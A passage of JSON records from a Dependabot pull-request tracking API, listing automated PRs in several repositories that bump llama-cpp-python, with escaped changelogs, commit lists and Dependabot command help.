yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/ljbudgie/burgess-principle/pull/260","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljbudgie%2Fburgess-principle/issues/260","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/260/packages"}},{"old_version":"\u003c0.3.0,\u003e=0.2.0","new_version":"\u003e=0.2.0,\u003c0.4.0","update_type":null,"path":null,"pr_created_at":"2026-04-06T09:58:38.000Z","version_change":"\u003c0.3.0,\u003e=0.2.0 → \u003e=0.2.0,\u003c0.4.0","issue":{"uuid":"4210930876","node_id":"PR_kwDOQPBwZM7QK2Ru","number":502,"state":"open","title":"deps: update llama-cpp-python requirement from \u003c0.3.0,\u003e=0.2.0 to \u003e=0.2.0,\u003c0.4.0","user":"dependabot[bot]","labels":["dependencies"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-04-06T09:58:38.000Z","updated_at":"2026-04-06T09:58:38.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"deps: update","packages":[{"name":"llama-cpp-python","old_version":"\u003c0.3.0,\u003e=0.2.0","new_version":"\u003e=0.2.0,\u003c0.4.0","repository_url":"https://github.com/abetlen/llama-cpp-python"}],"path":null,"ecosystem":"pip"},"body":"Updates the requirements on [llama-cpp-python](https://github.com/abetlen/llama-cpp-python) to permit the latest version.\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/abetlen/llama-cpp-python/blob/main/CHANGELOG.md\"\u003ellama-cpp-python's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[0.3.20]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003erefactor: Replace deprecated llama.cpp references in library, docs, and examples by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2170\"\u003e#2170\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@f49e9178767d557a522618b16ce8694f9ddac628 by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2169\"\u003e#2169\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(server): Add model-load \u003ccode\u003echat_template_kwargs\u003c/code\u003e support and document the CLI/config usage by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2168\"\u003e#2168\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Publish release wheels as \u003ccode\u003epy3-none\u003c/code\u003e by \u003ca href=\"https://github.com/Bing-su\"\u003e\u003ccode\u003e@​Bing-su\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2166\"\u003e#2166\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Publish distinct manylinux and musllinux CPU wheels by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2165\"\u003e#2165\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.19]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@c0159f9c1f874da15e94f371d136f5920b4b5335 by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2161\"\u003e#2161\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Handle embedding models without KV memory and test embeddings with a real GGUF embedding model by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2160\"\u003e#2160\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Shrink CUDA wheel fatbins so CUDA releases stay under GitHub's asset size limit by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2158\"\u003e#2158\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.18]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Expose \u003ccode\u003eattention_type\u003c/code\u003e in \u003ccode\u003eLlama.__init__\u003c/code\u003e for non-causal embedding models by \u003ca href=\"https://github.com/jamesbiederbeck\"\u003e\u003ccode\u003e@​jamesbiederbeck\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2143\"\u003e#2143\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Build Docker images from the checked-out source and sanitize branch tags by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2156\"\u003e#2156\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Fix the CUDA wheel workflow and keep release tags aligned with the built toolkit by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2155\"\u003e#2155\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Speed up release wheel builds by moving arm64 off QEMU and parallelizing riscv64 by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2154\"\u003e#2154\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.17]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@49bfddeca18e62fa3d39114a23e9fcbdf8a22388 and sync Python bindings by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2151\"\u003e#2151\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Handle Qwen 3.5 hybrid prefix reuse by \u003ca href=\"https://github.com/codavidgarcia\"\u003e\u003ccode\u003e@​codavidgarcia\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"https://github.com/r-dh\"\u003e\u003ccode\u003e@​r-dh\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2152\"\u003e#2152\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(dev): Add Ruff-based formatting and a safe lint baseline, and run it in CI for pull requests and pushes to \u003ccode\u003emain\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Run macOS CI on supported Apple Silicon and Intel runners by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2150\"\u003e#2150\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Use the \u003ccode\u003ehf\u003c/code\u003e CLI instead of the deprecated \u003ccode\u003ehuggingface-cli\u003c/code\u003e name in GitHub Actions and docs by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2149\"\u003e#2149\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: add riscv64 wheel builds to release workflow by \u003ca href=\"https://github.com/gounthar\"\u003e\u003ccode\u003e@​gounthar\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2139\"\u003e#2139\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.16]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@4227c9be4268ac844921b90f31595f81236bd317\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.15]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@9a96389544a08fd829fccda28142ce2066017fde\u003c/li\u003e\n\u003cli\u003efeat: Add gpt-oss chat format support through strftime_now in chat format by \u003ca href=\"https://github.com/iamlemec\"\u003e\u003ccode\u003e@​iamlemec\u003c/code\u003e\u003c/a\u003e in af637928db7351e030011085f818b034c6efc047\u003c/li\u003e\n\u003cli\u003efix: rename op_offloat to op_offload in llama.py by \u003ca href=\"https://github.com/sergey21000\"\u003e\u003ccode\u003e@​sergey21000\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2046\"\u003e#2046\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.14]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@79e0b68c178656bb0632cb8602d2940b755077f8\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.13]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@bdca38376f7e8dd928defe01ce6a16218a64b040\u003c/li\u003e\n\u003cli\u003efix: Better chat format for Qwen2.5-VL by \u003ca href=\"https://github.com/alcoftTAO\"\u003e\u003ccode\u003e@​alcoftTAO\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2040\"\u003e#2040\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.12]\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/02d6beed816535cb2ce845ad8558d0c8662f8e7e\"\u003e\u003ccode\u003e02d6bee\u003c/code\u003e\u003c/a\u003e chore: bump version to 0.3.20 (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2171\"\u003e#2171\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/08e088cde15e0b56e46337d6f49000518c18c203\"\u003e\u003ccode\u003e08e088c\u003c/code\u003e\u003c/a\u003e fix(misc): replace deprecated llama.cpp references (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2170\"\u003e#2170\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/100b275c88763e2fada18d009e9bca8287cdb7c9\"\u003e\u003ccode\u003e100b275\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp to ggerganov/llama.cpp@f49e9178767d557a522618b16ce8694...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/7257ba95fbbf65201fd5bf4b7f0bdd1c701e1345\"\u003e\u003ccode\u003e7257ba9\u003c/code\u003e\u003c/a\u003e feat(server): add model-load chat_template_kwargs (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2168\"\u003e#2168\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/7613aca61259820ab550626384af52eed56a731f\"\u003e\u003ccode\u003e7613aca\u003c/code\u003e\u003c/a\u003e ci: publish release wheels as py3-none (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2166\"\u003e#2166\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/fcd932a1574b7b6fdfc6c2d652f10f3af66995b5\"\u003e\u003ccode\u003efcd932a\u003c/code\u003e\u003c/a\u003e fix(ci): publish distinct manylinux and musllinux cpu wheels (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2165\"\u003e#2165\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/f54421ba71db942b262a28762bc9e035a5d4d349\"\u003e\u003ccode\u003ef54421b\u003c/code\u003e\u003c/a\u003e Bump version to 0.3.19 (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2162\"\u003e#2162\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/c670222c8379608aa22ac81e5f6a813620187a26\"\u003e\u003ccode\u003ec670222\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp to ggerganov/llama.cpp@c0159f9c1f874da15e94f371d136f59...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/ac59e5a5ae8d331d80f30d3ddfc50195061637f5\"\u003e\u003ccode\u003eac59e5a\u003c/code\u003e\u003c/a\u003e fix: handle embedding models without KV memory (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2160\"\u003e#2160\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/5f9c231ce165126f38c8897fd760ecd7ef79f9fd\"\u003e\u003ccode\u003e5f9c231\u003c/code\u003e\u003c/a\u003e fix(ci): reduce CUDA binary wheel size only including cubins for current arch...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/abetlen/llama-cpp-python/compare/v0.2.0...v0.3.20\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/chipi/podcast_scraper/pull/502","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/chipi%2Fpodcast_scraper/issues/502","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/502/packages"}},{"old_version":"0.3.16","new_version":"0.3.19","update_type":"patch","path":null,"pr_created_at":"2026-03-28T02:05:29.000Z","version_change":"0.3.16 → 0.3.19","issue":{"uuid":"4156955488","node_id":"PR_kwDOLFHrAM7ONC8r","number":206,"state":"open","title":"chore(deps): bump llama-cpp-python from 0.3.16 to 0.3.19","user":"dependabot[bot]","labels":["dependencies","python"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-03-28T02:05:29.000Z","updated_at":"2026-03-28T17:51:03.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps)","packages":[{"name":"llama-cpp-python","old_version":"0.3.16","new_version":"0.3.19","repository_url":"https://github.com/abetlen/llama-cpp-python"}],"path":null,"ecosystem":"pip"},"body":"Bumps [llama-cpp-python](https://github.com/abetlen/llama-cpp-python) from 0.3.16 to 0.3.19.\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/abetlen/llama-cpp-python/blob/main/CHANGELOG.md\"\u003ellama-cpp-python's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[0.3.19]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@c0159f9c1f874da15e94f371d136f5920b4b5335 by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2161\"\u003e#2161\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Handle embedding models without KV memory and test embeddings with a real GGUF embedding model by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2160\"\u003e#2160\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Shrink CUDA wheel fatbins so CUDA releases stay under GitHub's asset size limit by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2158\"\u003e#2158\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.18]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Expose \u003ccode\u003eattention_type\u003c/code\u003e in \u003ccode\u003eLlama.__init__\u003c/code\u003e for non-causal embedding models by \u003ca href=\"https://github.com/jamesbiederbeck\"\u003e\u003ccode\u003e@​jamesbiederbeck\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2143\"\u003e#2143\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Build Docker images from the checked-out source and sanitize branch tags by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2156\"\u003e#2156\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Fix the CUDA wheel workflow and keep release tags aligned with the built toolkit by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2155\"\u003e#2155\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Speed up release wheel builds by moving arm64 off QEMU and parallelizing riscv64 by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2154\"\u003e#2154\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.17]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@49bfddeca18e62fa3d39114a23e9fcbdf8a22388 and sync Python bindings by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2151\"\u003e#2151\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Handle Qwen 3.5 hybrid prefix reuse by \u003ca href=\"https://github.com/codavidgarcia\"\u003e\u003ccode\u003e@​codavidgarcia\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"https://github.com/r-dh\"\u003e\u003ccode\u003e@​r-dh\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2152\"\u003e#2152\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(dev): Add Ruff-based formatting and a safe lint baseline, and run it in CI for pull requests and pushes to \u003ccode\u003emain\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Run macOS CI on supported Apple Silicon and Intel runners by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2150\"\u003e#2150\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Use the \u003ccode\u003ehf\u003c/code\u003e CLI instead of the deprecated \u003ccode\u003ehuggingface-cli\u003c/code\u003e name in GitHub Actions and docs by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2149\"\u003e#2149\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: add riscv64 wheel builds to release workflow by \u003ca href=\"https://github.com/gounthar\"\u003e\u003ccode\u003e@​gounthar\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2139\"\u003e#2139\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/f54421ba71db942b262a28762bc9e035a5d4d349\"\u003e\u003ccode\u003ef54421b\u003c/code\u003e\u003c/a\u003e Bump version to 0.3.19 (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2162\"\u003e#2162\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/c670222c8379608aa22ac81e5f6a813620187a26\"\u003e\u003ccode\u003ec670222\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp to ggerganov/llama.cpp@c0159f9c1f874da15e94f371d136f59...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/ac59e5a5ae8d331d80f30d3ddfc50195061637f5\"\u003e\u003ccode\u003eac59e5a\u003c/code\u003e\u003c/a\u003e fix: handle embedding models without KV memory (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2160\"\u003e#2160\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/5f9c231ce165126f38c8897fd760ecd7ef79f9fd\"\u003e\u003ccode\u003e5f9c231\u003c/code\u003e\u003c/a\u003e fix(ci): reduce CUDA binary wheel size only including cubins for current arch...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/d6f46a50d6b4cda10460c05e2acdbaec74428c1b\"\u003e\u003ccode\u003ed6f46a5\u003c/code\u003e\u003c/a\u003e chore: bump version (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2157\"\u003e#2157\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/7b38c3122d2ff3ad23e1502de045807836ced4a7\"\u003e\u003ccode\u003e7b38c31\u003c/code\u003e\u003c/a\u003e feat: expose attention_type parameter in Llama.\u003cstrong\u003einit\u003c/strong\u003e (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2143\"\u003e#2143\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/ccc6bc0454b2d73431a419620aad92fda1aba162\"\u003e\u003ccode\u003eccc6bc0\u003c/code\u003e\u003c/a\u003e fix(ci): docker build workflow (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2156\"\u003e#2156\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/909ebf1246a52c15ebc95460c7e5957e3b64711e\"\u003e\u003ccode\u003e909ebf1\u003c/code\u003e\u003c/a\u003e fix(ci): cuda wheel workflow (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2155\"\u003e#2155\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/f0391c5ea7159b4c4916d9f4aced2f982adbd1f4\"\u003e\u003ccode\u003ef0391c5\u003c/code\u003e\u003c/a\u003e fix(ci): release wheel workflow (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2154\"\u003e#2154\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/a6b180724a641750aeaefa51692fe12ee8c4d54f\"\u003e\u003ccode\u003ea6b1807\u003c/code\u003e\u003c/a\u003e chore: Bump version (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2153\"\u003e#2153\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/abetlen/llama-cpp-python/compare/v0.3.16...v0.3.19\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n","html_url":"https://github.com/nextcloud/llm2/pull/206","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/nextcloud%2Fllm2/issues/206","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/206/packages"}},{"old_version":"0.2.90","new_version":"0.3.16","update_type":"minor","path":null,"pr_created_at":"2025-12-11T21:06:36.000Z","version_change":"0.2.90 → 0.3.16","issue":{"uuid":"3720953760","node_id":"PR_kwDOQJdjYc64cHO5","number":216,"state":"open","title":"chore(deps): Bump the python-minor group across 1 directory with 35 updates","user":"dependabot[bot]","labels":[],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2025-12-11T21:06:36.000Z","updated_at":"2025-12-11T21:06:43.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): Bump","group_name":"python-minor","update_count":35,"packages":[{"name":"aiosqlite","old_version":"0.20.0","new_version":"0.21.0","repository_url":"https://github.com/omnilib/aiosqlite"},{"name":"anyio","old_version":"4.11.0","new_version":"4.12.0","repository_url":"https://github.com/agronholm/anyio"},{"name":"exceptiongroup","old_version":"1.3.0","new_version":"1.3.1","repository_url":"https://github.com/agronholm/exceptiongroup"},{"name":"fastapi","old_version":"0.121.2","new_version":"0.124.2","repository_url":"https://github.com/fastapi/fastapi"},{"name":"fsspec","old_version":"2025.10.0","new_version":"2025.12.0"},{"name":"gradio","old_version":"5.49.1","new_version":"5.50.0","repository_url":"https://github.com/gradio-app/gradio"},{"name":"gradio-client","old_version":"1.13.3","new_version":"1.14.0","repository_url":"https://github.com/gradio-app/gradio"},{"name":"huggingface-hub","old_version":"1.1.4","new_version":"1.2.2","repository_url":"https://github.com/huggingface/huggingface_hub"},{"name":"hypothesis","old_version":"6.148.1","new_version":"6.148.7","repository_url":"https://github.com/HypothesisWorks/hypothesis"},{"name":"llama-cpp-python","old_version":"0.2.90","new_version":"0.3.16","repository_url":"https://github.com/abetlen/llama-cpp-python"},{"name":"openai","old_version":"2.8.1","new_version":"2.11.0","repository_url":"https://github.com/openai/openai-python"},{"name":"orjson","old_version":"3.11.4","new_version":"3.11.5","repository_url":"https://github.com/ijl/orjson"},{"name":"prometheus-client","old_version":"0.20.0","new_version":"0.23.1","repository_url":"https://github.com/prometheus/client_python"},{"name":"pydantic","old_version":"2.11.10","new_version":"2.12.5","repository_url":"https://github.com/pydantic/pydantic"},{"name":"pydantic-core","old_version":"2.33.2","new_version":"2.41.5","repository_url":"https://github.com/pydantic/pydantic-core"},{"name":"pytest-subtests","old_version":"0.14.2","new_version":"0.15.0","repository_url":"https://github.com/pytest-dev/pytest-subtests"},{"name":"referencing","old_version":"0.36.2","new_version":"0.37.0","repository_url":"https://github.com/python-jsonschema/referencing"},{"name":"rpds-py","old_version":"0.29.0","new_version":"0.30.0","repository_url":"https://github.com/crate-py/rpds"},{"name":"ruff","old_version":"0.14.5","new_version":"0.14.8","repository_url":"https://github.com/astral-sh/ruff"},{"name":"starlette","old_version":"0.49.3","new_version":"0.50.0","repository_url":"https://github.com/Kludex/starlette"},{"name":"urllib3","old_version":"2.6.0","new_version":"2.6.2","repository_url":"https://github.com/urllib3/urllib3"},{"name":"bandit","old_version":"1.9.1","new_version":"1.9.2","repository_url":"https://github.com/PyCQA/b